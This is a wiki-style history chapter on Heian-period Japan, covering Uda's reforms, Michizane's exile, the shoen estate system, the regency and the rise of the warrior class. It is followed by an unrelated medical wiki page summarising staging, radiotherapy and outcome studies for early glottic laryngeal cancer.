At this point in time occurred the beginning of the great age of classical Japanese literature. Up to then literature in Japan had meant Chinese literature, even though &lt;i&gt;Nihon Shoki&lt;/i&gt; and &lt;i&gt;Kojiki&lt;/i&gt; contain snippets written in Japanese by using Chinese characters for their sound only, and the great &lt;i&gt;Manyoshu&lt;/i&gt; collection of Japanese poetry had been put together using the same method. Now, a simple and elegant system for writing Japanese with a syllabary of about 50 characters (the exact number varied for a time) based on highly simplified Chinese characters had been invented and come into wide use. There were some exceptions, but it was generally thought that there was no need for women to learn to read and write Chinese, so any literature intended for both men and women must necessarily be written in Japanese. The first major book published was &lt;i&gt;Ise Monogatari&lt;/i&gt; which may be considered a tribute to the life and works of Ariwara Narihira, a poet who died in 880. The exact date of the book is not known, but it was early in the 10th century. Another crucial book for this era is &lt;i&gt;Konjaku Monogatari&lt;/i&gt;. It is thought to have been completed around 1077 but it is a collection of short stories that includes much old material, including many pieces evidently written about this time.

When Mototsune died emperor Uda wasted no time in reestablishing the principle that the emperor is the ruler. The office of Kampaku lapsed and was not revived for forty years.

===Yasunori, Michizane, and Tokihira===
The emperor took several measures to try to assure that control would remain in hands of the imperial clan. He made sure to promote men from several lineages of the Fujiwara clan so that they could be rivals of each other, and he also moved many of his relatives into the Minamoto clan and appointed them to high office. At the same time that the 21 year old Tokihira was raised to the sangi level, so was Uda’s brother Minamoto no Osamoto. And, over the next few years Osamoto was followed by Sadatsune, Tato, Mare, and Noboru. In 893 the emperor established as crown prince Atsuhito, 9 years old, whose mother, although a Fujiwara, was only a cousin of Tokihira. Her father, Takafuji was first raised to the sangi at this time, possibly to serve as a rival to Tokihira. Finally, he raised two relatively obscure “good governors” to high office. They were Fujiwara Yasunori, one year after the death of Mototsune, and Sugawara no Michizane, the year after. Yoshifusa and Mototsune had run things for 30 years, between them, and Uda was now trying to do something quite different.

At the top level his government had 7 Fujiwara and 6 Minamoto and one lonely representative of the remaining ancient aristocracy in the person of Sugawara no Michizane. The sadaijin was Minanoto Toru, aged 72, followed by Fujiwara Yoshiyo, also 72, Minamoto Yoshiari, only 50, Minamoto Hikaru, 49, Fujiwara Morokatsu , 66, and Fujiwara Tokihira, now 23. Yoshiyo was now the chief of the Fujiwara clan, however Tokihira’s prospects were still pretty good since he was going to outlive all of these men and inevitably rise to the top barring some disaster. And, it was not enough for Uda to assert himself. He had to show that he could pull it off, politically, over the long run. His elevation of Yasunori and Michizane was going to be very important to him. It was necessary that it work out. There were plenty of problems to deal with. It was pretty clear that the pattern of rural government established in the Nara period had broken down.

Fujiwara Yasunori was from the “southern” branch of the Fujiwara that had been knocked out of the top aristocracy. His grandfather had held the rank of chunagon, but his father never got higher than vice-commander of one of the guards units, barely clinging to aristocratic status. In 855 Yasunori got a low ranking post in the central bureaucracy, and in 871 he went to Bitchu province as a zuryo, and subsequently transferred to Bingo. In 878 when the rebellion in Dewa broke out, Mototsune assigned him as the governor supporting the forces sent to deal with it. He was, as previously noted, very successful and suppressed the rebellion despite an extreme shortage of resources and with a minimum of violence. After that he went back to work as a zuryo, but he continued to attract attention as a “good official” in Sanuki province and as the deputy commander at Dazaifu. Immediately after Mototsune’s death emperor Uda brought him back to the capital and in the next year raised him to the sangi level. At the time he was 68 years old (and therefore no real threat to Tokihira).

Yasunori was certainly well qualified to advise the government about conditions in the countryside and what it took to be able to keep the peace, as he had successfully done for many years.

Sugawara no Michizane’s route to high office was somewhat different. Following his grandfather and father, he was a scholar attached to the university and a well-known poet (since the age of 11). Neither his grandfather nor his father had had any political or governmental role. However, his father Koreyoshi had been promoted to sangi rank in 872 (when Michizane was 28), opening the way for Michizane to seek a career, if he wished to. In 874 Michizane was given 5th rank, passed through several minor bureaucratic offices, and in 877 was given a concurrent appointment as professor at the university. In 886 he was appointed governor of Sanuki province and decided to actually go to his province, resigning 3 other posts in the central government to do so.

He was in Sanuki for 4 years. While there he wrote a book of 140 poems, but also worked hard to be a “good official” in the mode of Yasunori, with whom he was familiar, work that shows up in many of the poems. When he returned to the capital he was among those who criticized Mototsune’s determination to remain Kampaku over an adult emperor. This naturally attracted Uda’s attention.

Emperor Uda had a strategy for dealing with the problems facing the government, but it was not one that involved creating new arrangements. Rather it was an attempt to go back to the approaches of the Nara period system. The main idea seems to be that if the system were run humanely, people would accept it. This is very Confucian, holding that morality is far more important than structure in solving governmental problems. His reign title combined characters for benevolence and tranquility.

The immediate goal was to return to the policy of the first years of Mototsune’s control (877-884) and resurrect the handen system. Yasunori had been in the field as a zuryo when the last distribution was accomplished. Historians are inclined to think that the reform effort did not just depend on the men at the top, because the middle and lower ranking officials in the central government realized that if the tax revenues failed they were doomed. Only the very highest in rank could form shoen. And, although zuryo were doing very well at the moment, if the opposition of the local aristocrats, the farmers, and the shoen owners did not weaken, their long term prospects were not good either. Fujiwara Tokihira was not opposed to this line of thinking and came to be counted among the reformers himself.

Yasunori led the efforts to reform rural government from 892 until his death three years later. Afterward, Michizane and Tokihira were the leaders. The first thing that was done was to repeat a step taken several times since the time of Tenchi Tenno and send out inspectors to gather information about conditions in the countryside and what local people thought about them. In actual fact the district magistrates were responsible for gathering testimony from locals and passing it on to the inspectors. There are no details about exactly what was done, but it is usually assumed that shoen were ignored since the focus was to be on zuryo and whether they were performing properly or abusing their powers.

Another aspect of the effort was an attempt to cut the cost of the central government by abolishing unnecessary offices and combining their functions into the remaining ones. The number of men on duty in the various guards units was considerably reduced also.

There was also thought given to resuming contact with China. The last embassy had been more than 60 years previously. In 894 it was ordered that an embassy was to be organized and that Michizane should be the ambassador, but only 1 month later he recommended that the project be abandoned, and it was. The T'ang dynasty was in the process of collapsing at this time and the prospects for a successful embassy were actually not very good. The kingdom of Silla in Korea was also in a state of collapse. After 890 or so it had almost no control over its provinces, and local groups began fighting each other for primacy. In 900 there began a large-scale civil war that only resulted in unification under a new dynasty in 936. This breakdown of order led to a major increase in the incidence of attacks by Korean pirates on Japan, at first mainly on the island of Tsushima, but later in much of northern Kyushu. In 893 there was a large scale raid in Higo province and many farmers' houses were burned. In 894 the government sent additional troops to Tsushima, and provinces along the Japan Sea coast were ordered to take precautions. This of course shows that they still had the resources to respond to such a situation.

In 896 Yasunori died, and he was soon followed by the sadaijin Minamoto no Toru, and at the end of the year, the newly promoted sadaijin Fujiwara Yoshiyo also died. In 897 the udaijin Minamoto Yoshiari followed. Suddenly Tokihira at the age of 26 was the senior official in the government. Uda was worried about this and consulted with Michizane. The decision was to immediately enthrone the emperor’s son. Uda abdicated and emperor Daigo took the throne at the age of 13. This was clearly to obviate any threat that Tokihira might manage to manipulate the succession to his advantage. A daughter of emperor Koko was immediately married to the emperor and made empress. One of Michizane’s daughters was married to Uda’s second son, prince Tokiyo. As usually was the case, Uda planned to continue ruling despite his abdication.

In 899 Tokihira was appointed sadaijin and Michizane udaijin. Fujiwara Takafuji and Minamoto Hikaru were made Dainagon. Takafuji was soon promoted to naidaijin but died almost immediately afterwards. However, his son Sadakuni was immediately promoted to the sangi to take his place.

It is believed that Tokihira began actively plotting to remove Michizane at about this time. His wedge was the fact that Michizane had been rapidly promoted to a much higher rank than his pedigree qualified him for because of the improper favor of emperor Uda. This made it easy to promote resentment against Michizane among the other courtiers. Uda continued to shower favors on him, which made the campaign all the easier. Finally, at the beginning of 901 Tokihira sprung his trap. Having made an ally of Minamoto Hikaru, they went together to emperor Daigo and told him that Michizane planned to force him to abdicate so that his son in law prince Tokiyo could become emperor. Retired emperor Uda had already agreed to this plan, they said. After a few days of this, they secured an edict denouncing Michizane’s crime and banishing him to Kyushu in the usual role of unpaid supernumary official at Dazaifu. 5 days later Uda went to the palace to discuss the matter with the emperor, but Tokihira had arranged that he would not be allowed to enter. This was a case where Tokihira was able to take advantage of the abdication. In much later times retired emperors issued edicts directly, but in this period valid edicts came only from the reigning emperor.

This coup did not change the fact that Uda generally ran the government until his death, and Tokihira learned to get along with him. However, Michizane was eliminated as a political factor. This event is still well remembered in Japan. Because Michizane was a prominent poet, the writers and artists of the day were all on his side, so his fate was accorded a lot of artistic attention over the years. He died of illness at Dazaifu in 903 at the age of 59. He had time to write a book about his experiences in exile.

Soon after the coup emperor Daigo’s wife Onshi, a sister of Tokihira, gave birth to a son, prince Munekata, the future emperor Suzaku. With this the Fujiwara for the third time put themselves in position to gain a special position in relation to the throne. Only three months later this prince was made the heir.

Starting in 902 the government issued a stream of edicts directed toward the reform of provincial government. They were all aimed at restoring the proper operation of things according to the original ryo, except as modified by subsequent kyaku and shiki. And, the government took up the matter of handen. Nothing had been done about this since 881 despite the reforming aspirations of Yasunori and Michizane, and this had had a big effect upon local government.

There had been time for the relationship between population and the allocation of the land to drift so that some had too much land and some too little, which made it difficult to assess and collect taxes. The government ordered all provinces to conduct a thorough census, 12 years after which the distribution would be conducted. This was a huge gap. All previous distributions had been carried out over a three year period from census to execution. There is no explanation as to why this was decided.

From the associated edicts it was clear that the government intended to strictly enforce the letter of the law in respect to the quality of goods accepted for the head tax and the timing of their delivery. There was to be no retreat from fill compliance with earlier practices.

There were obstacles to making this work as planned. “Wicked farmers, seeking to evade the taxes, move to the capital on their own initiative and attach themselves to wealthy households, or lie about their lands claiming that they have been donated, or claim that their houses have been sold, or take documents issued by a noble and affix seals to them and claim privilege. Even though they suspect these seals are forgeries, the governors cringe before higher authority, say nothing, and do not prevent these crimes.”

Also, in the absence of any census and distribution, all &quot;new land&quot; opened up on the initiative of locals was effectively private land and most likely not entered on any registers, making it effectively shoen land even if it didn't have documents. A thorough census and land survey would find it all, of course, and was not likely to be very popular.

The government now prohibited people in the countryside from donating lands and residences to temples and shrines, and the opening of new lands under protection was also to be stopped. Only shoen which could demonstrate valid documents from the dajokan and minbusho were to be continued. It was not at all clear exactly what might have come out of all of this because Tokihira died in 909 at the age of 39 and the reform effort died with him.

==The development of the shoen system==

Shoen is the name given to private estates that were exempt from the land redistribution process and were also immune to all or some taxes and were sometimes also immune to the entry of public officials. For most historians shoen were considered such a conspicuous aspect of life in the Heian period that the term &quot;the shoen system&quot; is often considered synonymous with the Heian period, to be contrasted with &quot;the ritsuryo system&quot; for the Nara period and &quot;the feudal system (hoken)&quot; for the subsequent periods.

The prohibition of privately owned land was never absolute, but the intention of the authorities was clearly that it would be limited to rare and special purposes. During the Nara period there were experiments with permitting nobles to pay for the necessary work to bring new lands under cultivation and then to be reimbursed by being allowed to treat the land as private property for a limited period of time, after which it would be taken into the redistribution system. Various edicts make it clear that there were abuses in which men tried to grab public lands and claim that they had reclaimed them, or illegally used public resources and corvee laborers to reclaim land which they then claimed for themselves.

That type of private land had disadvantages as well as advantages for it remained fully taxable and remained under the police powers of the provincial and district governments.

Shomu Tenno decided to provide funds for the operation of his new Todaiji temple by granting the temple lands that would be exempt from taxes, the taxes instead going to the temple as revenue. Subsequently, numerous other temples were financed the same way, and as the result of complaints from the monks, rules were passed granting these estates various degrees of immunity from the local officials. The nobility took notice, because this type of landholding looked attractive. The monks had no interest in farming land themselves. The normal mechanism for creating a shoen was for a management contract to be entered into whereby a local aristocrat would take responsibility for running the estate in return for a share of the profits. Usually the noble would open up new land and then &quot;donate&quot; it to the temple in return for such a management agreement. This removed the land permanently from the tax rolls.

Almost all surviving documents relating to shoen were preserved in temple archives, mainly the Todaiji archive, and there is no real documentation for the process whereby shoen began to be used for estates owned by noblemen rather than temples, but there is no doubt that it happened. It probably started during the period when Saga Tenno was in charge, but a lot of people suspect that it was mainly Fujiwara Yoshifusa who fostered the process. Essentially all that was required was to secure a charter from the emperor designating the land as shoen and defining its privileges. As regent, Yoshifusa was legally entitled to create such charters on his own. It now became possible for Yoshifusa to enrich himself that way, and also to extend the privilege to his political allies within the nobility. It is very clear from complaints coming in and the efforts of reformers that one very important channel for the creation of shoen was via the provincial governors. The governor with his political connections in the capital could arrange for charters relatively easily, raking off a share of the profits for himself. In particular we see numerous edicts attempting to prevent governors from retiring to a province they had ruled, out of the expectation that if they could do so they would aspire to put together a collection of shoen lands there to finance their retirement.

The shoen system eventually became very complicated. The way it was structured several different parties had explicitly recognized &quot;rights,&quot; called by the Japanese historians &quot;shiki,&quot; in various aspects of the shoen. In addition to the &quot;proprietor&quot; (ryoshu) in the capital, the on-site manager had a property right that was shiki, and the several lower level officers who were necessary for the management of the estate and the collection of its revenues also had explicitly defined shiki. Once these existed, it became possible to inherit them and to sell them. Logically enough, it followed that they could be divided. A man might leave his shiki to be divided equally among his children, for example. It therefore became possible for a person to own one quarter of the shiki pertaining to the office of collector of rents, without any personal obligation to do any of that work. It became merely the right to a certain specified income. As you may easily imagine, this led enevitably in the direction of causing numerous lawsuits. In principle, the proprietor was responsible for handling disputes over shiki that were entirely internal to the shoen. This was one of the factors in causing the Heian period nobles to set up business offices within their mansions. Sometimes, of course, people on the shoen found it desirable to sue the proprietor, or the proprietor might have a problem with their behavior.

The official legal system had no way to handle these matters. The very concept of a lawsuit was not a part of the administrative laws. If people had a complaint they could petition the Dajokan, which might appoint someone to investigate the matter and determine how the law applied to it. This was where shiki in the sense of kyaku and shiki came from. When an official determined how the law applied to a situation he wrote out his conclusions and filed a copy and this was called a shiki. Clearly the shiki considered as a property right in a shoen was thought of as being much the same, a written description of the rule that had been agreed on for the particular situation.

In the time of Saga Tenno it is most likely the case that law suits went mainly to his Kurodo office. The ultimate decision was credited to the emperor, but would actually be made by some official within the office. As regent, Fujiwara Yoshifusa set up his own version of the Kurodo, since &quot;the regency&quot; was not a legal office and did not appear in the budget or have a suite of offices assigned to it. From this time as long as the system lasted, whoever was the top dog in the political structure had to maintain a private lawcourt where officials of his appointment could examine the documents and interview witnesses pertaining to disputes over rights within shoen. This court had to appear to be at least moderately efficient and moderately fair or people would stop coming. After the collapse of the official administrative system these courts were almost the only regularly functioning organ of government, and the fact that someone had to provide them was the most powerful factor in permitting the government to hang onto existence in a context where it no longer had meaningful revenues.

Even in Yoshifusa's day, and to a steadily increasing extent as time passed, the government had no regular means to enforce judgements made by these courts. It was assumed that the two parties would abide by the judgement. The only lever it had was that if the losing side ignored the decision the court could disestablish the shoen and declare its charter void, turning it over to the mercies of the provincial governor. A particularly egregious individual could also be proclaimed an outlaw, in which case his heavily armed neighbors were free to go after him and seize his property.

There was a lot of violence in the countryside starting roughly in Yoshifusa's time, and the best way to mitigate it was for provincials to respect the shoen system and the regent's (or later the retired emperor's) court. People did not actually want to live in a lawless society, so there was always a delicate balance. The government could not afford to maintain real police forces, so the people had to police themselves, which was inherently messy and open to abuse, but by resorting to the courts and respecting their decisions people were able to put pressure on the armed landowners to behave themselves, more or less. This was a time of what might be termed restrained chaos.

A highly similar set of arrangements developed within the district and provincial administrations also. Appointments to local office were mostly hereditary anyway, but now it came to be treated as a formal property right that could, again, be inherited, sold, and subdivided. By the 10th century this process was far advanced, so that although the legal terminology was different, the actual way of life was not much different on a shoen and on &quot;public&quot; land. The main difference is that the provincial governorship did not ever become truly hereditary but was handed out for a term of years. However, it came to be the case that the governor ceased to actually travel to his province but sent an agent known as a zuryo, which means someone serving in your place. Even the governorship became a shiki right and in the 12th century, a man of great power might hold six or eight governorships simultaneously, solely for his cut of the revenue.

This was a very peculiar system, obviously. The best way to understand it is to see it as a process of very slow collapse. Things always got worse, they never got better, the success rate of the courts in enforcing decisions went down, the level of local violence went up. At some point it was inevitable that the whole thing would fail completely, and many people were aware of this. It follows that some of those people began to put together new systems to take its place. However, the early Heian period is the era of decline. The first signs of new types of arrangements do not appear until the following century.

There is a lot of information about conflict in the countryside between governors (mostly now zuryo) and the locals over taxes and other matters. In the absence of proper tax registers, we find the zuryo improvising. There is a memorial from a zuryo in Kii province in 894 to the Dajokan. He said that rather than try to sort out taxes using the old rules, which was impossible given the information he had, he assessed a flat rate on everyone farming land no matter what their status might be of a fixed number of sheaves per unit of area. This was a comprehensive amount intended to cover crop tax, head tax, and corvee. The government approved this method, which completely ignored all of the laws. One might say that at this point the original system of the Taiho code was completely extinct.

In 884 there was an incident where a mob stated to consist of 170 farmers was organized by two district magistrates of Iwami province to attack the zuryo, who was seriously beaten, and other outrages were committed. The government sent officials to the province to investigate and the case was resolved 2 years later. The zuryo was exiled on the grounds that his illegal behavior caused the uprising. However, the two magistrates and three others who took leading roles were also punished for resorting to violence, but they were merely sentenced to suspension of their offices for one year. There was also a case in which locals petitioned against the governor and investigators were sent who found the governor guilty of crimes. However, the same man was later appointed governor again, and was accused again in his new province, though he died before the new investigation was completed.

Between 892 and 909 there occurred a major effort at &quot;reform&quot; of the government of the provinces including a project to restart the land redistribution system. There is no clear information as to exactly what impacts this had upon the ground, but it does seem certain that the effort came to an end when Fujiwara Tokihira died in 909. From that time onward the shoen system expanded steadily and eventually came to have equal status with the taxation system and the joint sources for the incomes of the nobles of the capital. It is the consensus that officially speaking no more than about half of the country's farm land ever came to be treated as shoen. The rest continued to be &quot;public land&quot; subject to the authority of the provincial governor and district magistrates. However, as noted above, the practical difference between the two from the point of view of the people living on the land became less and less over time.

The shoen system lasted for some time and started to fall apart only in the 13th century, when a completely new form of landholding began to appear, essentially the beginning of the type of landownership that exists today, with the concept that the land belongs to the state replaced by an explicit recognition that land is private property which can be inherited, sold, or rented at the discretion of its owner, who may be a commoner or an aristocrat or an organization. The interest of government in the land is limited to the right to tax it.

==The Regency (Sessho and Kampaku)==

The offices of Sessho and Kampaku that gave the holder the power to speak for the emperor (whether the emperor wanted this or didn't) were always the exclusive property of members of the Fujiwara clan. In archaic times the imperial clan was surrounded by a number of other clans of varying status. Almost the first thing that happens once we get into a period where detailed information about politics is available is that we find a ferocious struggle amongst the Otomo, Mononobe, and Soga clans for a position of dominance at court. Sometimes the emperor is actually the man in charge, but sometimes he is not up to the task and someone else has to do it. The Soga clan appears to have pioneered the strategy of manipulating the imperial succession so that the successive rulers are all children of Soga mothers. They managed to do this for three generations, but were then defeated by prince Naka no Oe, assisted by Nakatomi no Kamatari. Kamatari played such an important part in subsequent events that when he died a grateful imperial clan created an entirely new clan for his descendants. The name of this clan was, of course, Fujiwara. At the time that this happened the imperial palace was located at a place called Fujiwara, and I presume that that is the origin of the name.

Kamatari's son was Fuhito who also played a crucial role in the continued evolution of the new system of government. He had four sons who established four branches of the clan, but among these only the &quot;northern&quot; branch descended from Fusasaki survived the Nara period in a position of considerable political power. Yoshifusa, the first Sessho, was Fusasaki's great-great-grandson. During his lifetime Fusasaki took second place to his older brother Muchimaro, but had a successful career in his own right. Muchimaro's son Toyonari continued in the highest position, but Fusasaki's son Matate reached the sangi also. He died in 766 during the Dokyo era.  His son Uchimaro reached the position of naidaijin when Heizei became emperor after the death of Kammu in 806. He died in office in 812. His son Fuyutsugu played an important part in the events of 810. He had been appointed head of the Kurodo office by Saga Tenno at the start of the year and he was one of the two officials to whom Heizei appealed for support against Saga. However, he remained loyal to Saga. Fuyutsugu became the senior minister in 821 and died in 826 at a comparatively early age, 52, leaving his son Yoshifusa in a relatively low position. Montoku Tenno who took the throne in 850 was a grandson of Fuyutsugu, but this had little practical effect given that Fuyutsugu was long dead.

Yoshifusa was able to seize power from a relatively humble starting position when the retired emperor Saga died in 842. He had been assigned to work in the palace of the crown prince who eventually became Nimmyo Tenno, who was on the throne in 842. Apparently the two became very close, so when Yoshifusa informed the emperor that there was a plot against him he was believed. We have no way of knowing the truth of the matter, but the end result was the demotion of one group of officials and the promotion of a second group headed by Yoshifusa. In 848 he became the senior minister lasting through the transition to Montoku Tenno and in 857 was able to claim the office of Dajodaijin, the highest of all. He was the first to hold this since the unfortunate precedents of Fujiwara Nakamaro and the monk Dokyo in the Nara period. He was thus in complete control of the government and able to designate his own grandson, a mere infant, as heir to the throne. When Montoku Tenno died and the child became emperor as Seiwa Tenno he was 9 years old and obviously required a regent and the only candidate was Yoshifusa. This was in 858. In 866 Yoshifusa secured formal appointment to the newly created office of Sessho. There had been one previous regency in the Nara period but the regent had been an imperial prince.

Yoshifusa died in 872 when Seiwa Tenno was 23 years old, but the regency continued under his son Mototsune right up to Seiwa's abdication in 876. The new emperor Yozei Tenno was also a child and the regency continued. Yozei appeared to be insane and was forced to abdicate in favor of Koko Tenno in 884. Koko was 55 years old but the regency still continued, as it did when Uda became emperor at the age of 21. It only lapsed when Mototsune died in 891 and Uda refused to appoint a replacement.

The office remained in abeyance through the reigns of Uda and Daigo, which is to say up to 930. However, it resumed under Fujiwara Tadahira, Mototsune's son, who was the grandfather of Suzaku Tenno, age 8. This time the office remained permanent, even outlasting the power of the Fujiwara clan. It was abolished in 1868 but revived again in 1889 in the Meiji Constitution, but it was taken away from the Fujiwara clan and restricted to the imperial clan. Taisho Tenno, Mutsuhito, was considered to be mentally disabled and his son Hirohito, the future Showa Tenno, served as Sessho from 1921 to 1926.

In 1947 the law which defined the Imperial Household Agency continued to recognize the office.

==The beginnings of the warrior (bushi) class==

Since at least 400 AD Japan had been dominated by an aristocracy that was notionally a warrior class. When we first see them in &lt;i&gt;Nihon Shoki&lt;/i&gt; they wore swords on all occasions and used them frequently. In battle they fought wearing armor and riding on horseback and their principal weapon was the bow. This description would apply without any change to the rural aristocracy of the 12th and 13th centuries. However, a lot happened between the archaic period and the beginnings of the feudal era. Still, even in the peaceful Heian period members of the aristocracy routinely trained with weapons. This tends to be obscured because of the fact that much of the literature of the late Heian period was written by women whose view of the daily activities of the male aristocrats was limited. Young nobles played violent sports, they practiced sword fighting and archery, and they went on long hunting trips where they hunted deer from horseback with bows and wild boars on foot with spears.

The establishment of Chinese style government in the 7th century made significant changes, however. An official army was set up officered by aristocrats but made up of conscripted peasants who were expected to fight on foot with spears and bows in the Chinese manner. In the middle of the 7th century this army was significant due to the threat of invasion by the Chinese or Koreans, but the absence of any invasion or any serious threat of invasion after the 660s allowed the army to mostly wither away except for the guard regiments in the capital. The government sought to sequester all military arms in armories to be distributed in time of need.

The only significant regular armed forces were border guards maintained on the northern coast of Kyushu and forces in the northeast that were frequently engaged in conflict with barbarian people beyond the effective Japanese frontier. These troops were essentially militia modeled after the regular army, meaning aristocratic officers and commoner soldiers who fought on foot (because commoners didn't know how to ride horses). There is a very interesting note from the Heian period about the problem of training foot soldiers to fight Emishi barbarians who fought in the ancient Japanese manner as mounted bowmen. The solution was to equip the troops with powerful Chinese crossbows, parts from which turn up in northern archeological sites. Whenever a political blowup occurred in the capital that led to violence, the persons involved attempted to flee to the east or send messengers to the east in order to raise experienced troops. There were also occasions when officers would simply go into the fields near the capital and grab peasants, shove spears into their hands, and proclaim them an army. This was done at the time of &quot;Nakamaro's rebellion&quot; in the Nara period.

This began to change as the result of the spread of the shoen system and the corresponding collapse of the system of provinces and districts. The authorities had conscripted peasants for a short period of military training and some of these trained men had served police functions as part of their obligation for corvee labor. However, the financial changes of the 9th century caused large areas of land to be removed from the authority of the provincial governor and the district magistrate as shoen. The men who managed the shoen had to provide their own police services. And, in the land (roughly half even at the height of shoen) that remained &quot;public&quot; the offices associated with the province and the district came to be matters of revenue only, with no requirement of doing any work. The provincial governor ceased to go to his province and merely sent out agents to plunder it at thoroughly as they could manage. As a consequence local landowners of all sorts began to arm some of their men as a private militia.

There is a collection of short stories &lt;i&gt;Konjaku Monogatari&lt;/i&gt; that report on conditions late in the 9th century and many of the stories concern rural landowners. One particularly charming one concerns two men who conceived a dislike for each other and therefore concluded that they should settle matters by fighting a war. They each formed up their parties of armed peasants and marched them off to an agreed upon site at an agreed upon time. The two principals were equipped as proper warriors with horses, armor and bows. Their followers were foot soldiers with spears. What actually happened was the two little armies drew up opposite each other across a large field to watch as spectators, and the two principals fought a duel, on horseback, with bows. They charged about seeking a good shot at each other. Each was able to fire once and hit his opponent but failed to penetrate his armor. Then they paused for a rest, complemented each other on the quality of their riding and their shooting and decided that they would be friends. The war was called off.

It is impossible not to conclude that significant elements of the ancient warrior ethos seen in tales of the 5th and 6th centuries had survived among the rural nobility thoughout the intervening period. This suggests that the changes in rural life imposed by the new regime may have been less impressive on the ground than they were in the law books. In social terms everything is present for the development of the bushi class (more often called in English the samurai class) of later times.

The difference between the scene in &lt;i&gt;Konjaku Monogatari&lt;/i&gt; and what one would see in &lt;i&gt;Heike Monogatari&lt;/i&gt; (13th century) or &lt;i&gt;Taiheiki&lt;/i&gt; (14th century) is that the warrior tradition was disseminated to a much wider segment of the rural population. In archaic times the warriors were all aristocrats, a completely different class of person than the ordinary farmers. In the later periods every landowner who could afford the expense normally equipped himself as a warrior and also equipped a number of his men to fight in the same mounted archer style.

At first these men remained of low social status and were referred to as rodo which meant a man who had no land and who worked for his food and lodging at whatever task he was given, a common laborer. However once a man was trained to fight in the aristocratic style and had placed his life on the line alongside his master his effective status tended to rise quickly. The term rodo fell by the wayside somewhere along the line, but samurai is derived from the verb meaning &quot;to serve&quot; in the sense of to serve dinner but was gradually elevated to a term of pride.

The actual social status of a warrior could be relatively high or relatively low. Some of them were authentic aristocrats, descendants of emperors and commanders of armies numbering thousands. Others were large or small landowners with large or small bands of personal followers. Still others were individuals who owned no land and were provided with food and lodging by their master. But they were all warriors and treated each other with respect.

Another matter of importance is that there is a great difference between organizing some of your dependents into a personal militia for local self defense (or annoying your neighbors) and creating something like an army. An army must necessarily include men who are not your personal followers whom you have known since childhood. This was dealt with by forming a system based on patronage. In the classical American big city political machine the leader would be able to mobilize an army of election workers who would go out and do everything that they could to persuade the voters to vote the right way. If the election was a success, then those workers would be rewarded by being appointed to city jobs. You scratch my back and I will scratch yours. Feudalism is a method of government that is based on this principle.

An ambitious aristocratic warrior who wanted to build an army would attempt to recruit landowners to serve him on the promise that a major task of the army that resulted would be to protect the landowners who comprised it. You fight for me when I need it, and I will fight for you when you need it. He could not demand support in the way that emperors demanded it, he needed to persuade men to support him, and to do that he had to make deals. Feudal vassalage is not slavery, it is a deal which requires mutual support and also mutual respect. It contains the element that if a feudal leader treats his men badly they will desert him and they will not be thought disloyal for doing it. 

You will say, but that's not the way it works in the samurai movies! The answer to that is that the samurai movies are not about feudalism but about a later time when the armor looked similar but the rules were completely different. In the society that is the real basis for the movie samurai the armies were once more peasants fighting on foot with spears or guns and the samurai were the officer class. It was much more like serving under an emperor and not at all like serving in a feudal band.

At the point that this section ends, 909, there were not yet any actual feudal armies, there were only well-armed landowners who fell into the usual categories of public spirited defenders of law and order and neighborhood hoodlums. There are accounts of gangs of thugs who stole whatever they could and others about bands of vigilantes who rose up against crooked governors. We will not see the first true example of feudal warfare until 40 years or so have passed.

&lt;noinclude&gt;{{Japanese HistoryTOC}}&lt;/noinclude&gt;

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==Overview==
*Anatomy - true vocal cords, anterior and posterior commissures down to 5 mm below free margin of vocal cords
*Most common laryngeal cancer in USA. Majority occur in anterior 2/3 of vocal cords
*Symptoms - persistent hoarseness, later dyspnea, chronic cough, hemoptysis, stridor
*Staging
**T1 - limited to vocal cords, with normal mobility
***T1a - limited to one vocal cord
***T1b - involves both vocal cords
**T2 - extends to supraglottis or subglottis, and/or with impaired vocal cord mobility
**T3 - vocal cord fixation or invades paraglottic space or minor thyroid cartilage erosion
**T4 - invades through other tissues (thyroid cartilage, thyroid, trachea, pharynx, etc)
***T4a - invades through thyroid cartilage or tissues beyond the larynx
***T4b - invades prevertebral space, carotid, mediastinum
*Lymphatics - true vocal cords don't have any; lymphatic spread via tumor extension to supraglottis or subglottis
**LN+  &lt;2% in T1, 5% in T2, 15-20% in T3, 20-30% in T4
*Treatment:
**No randomized trials comparing surgery to RT to laser resection
**For T1-T2: local control, laryngeal preservation, and survival comparable after laser resection, RT, and partial laryngectomy. Voice quality comparable with laser resection and RT in smaller lesions, worse in larger lesions after partial laryngectomy. Therefore recommendation for T1 and T2 with normal cord mobility treated with RT or laser resection for superior voice preservation. Bulky T2 and impaired cord mobility treated with RT or partial laryngectomy
**Neck dissection in T1-T2 is controversial
*RT fields: 
**T1 and early T2 - two small opposing lateral fields centering on vocal cords, parallel to trachea. From upper thyroid notch to lower border of the cricoid (at C6). Anterior border 1 cm anterior to the skin surface at the level of vocal cords. Posterior border  to include anterior portion of posterior pharyngeal wall. 5 x 5 cm2 field usually good.


==Outcomes==
*'''Florence; 2005''' (1970-1999) {{PMID|16095847}} -- &quot;Radical radiotherapy for early glottic cancer: Results in a series of 1087 patients from two Italian radiation oncology centers. I. The case of T1N0 disease.&quot; (Cellai E, Int J Radiat Oncol Biol Phys. 2005 Dec 1;63(5):1378-86.)
**Retrospective. 831 T1 glottic patients in 2 institutions. RT: two lateral parallel opposed or slightly angled photon beams with or without wedges or a direct anterior electron field.
**Outcome: 5-year OS (10-year OS): 77% (57%); local control 84% (83%), salvage 95% (93%)
**Predictors of local control: gender, tumor extent, anterior commissure involvement, beam type, dose &gt;65 Gy
**20-year second tumor probability: 23% (second tumor deaths &gt; laryngeal tumor deaths)
**Conclusion: Use doses &gt;65 Gy and field size 36-49 cm2

*'''Florence; 2005''' (1970-1999) {{PMID|16115737}} -- &quot;Radical radiotherapy for early glottic cancer: Results in a series of 1087 patients from two Italian radiation oncology centers. II. The case of T2N0 disease.&quot; (Frata P, Int J Radiat Oncol Biol Phys. 2005 Dec 1;63(5):1387-94.)
**Retrospective. 256 T2 glottic patients in 2 institutions. RT: two lateral parallel opposed or slightly angled photon beams with or without wedges or a direct anterior electron field.
**Outcome: 5-year OS (10-year OS): 59% (37%); local control 73% (70%), salvage 86% (85%)
**Predictors of local control: bulky tumor, impaired cord mobility
**20-year second tumor probability: 23% (laryngeal tumor deaths &gt; second tumor deaths)
**Conclusion: Consider RT a standard treatment for T2. Late damage infrequent

*'''Aviano; 2003''' {{PMID|12910521}} -- &quot;Radiotherapy for patients with early-stage glottic carcinoma: univariate and multivariate analyses in a group of consecutive, unselected patients.&quot; (Franchin G, Cancer. 2003 Aug 15;98(4):765-72.)
**Retrospective. 410 patients with T1-T2 SCC treated 1986-2001
**10-year OS (5-year): 64% (83%); median time to recurrence 7 months
**Predictors of local control: persistent dysphonia, year of RT
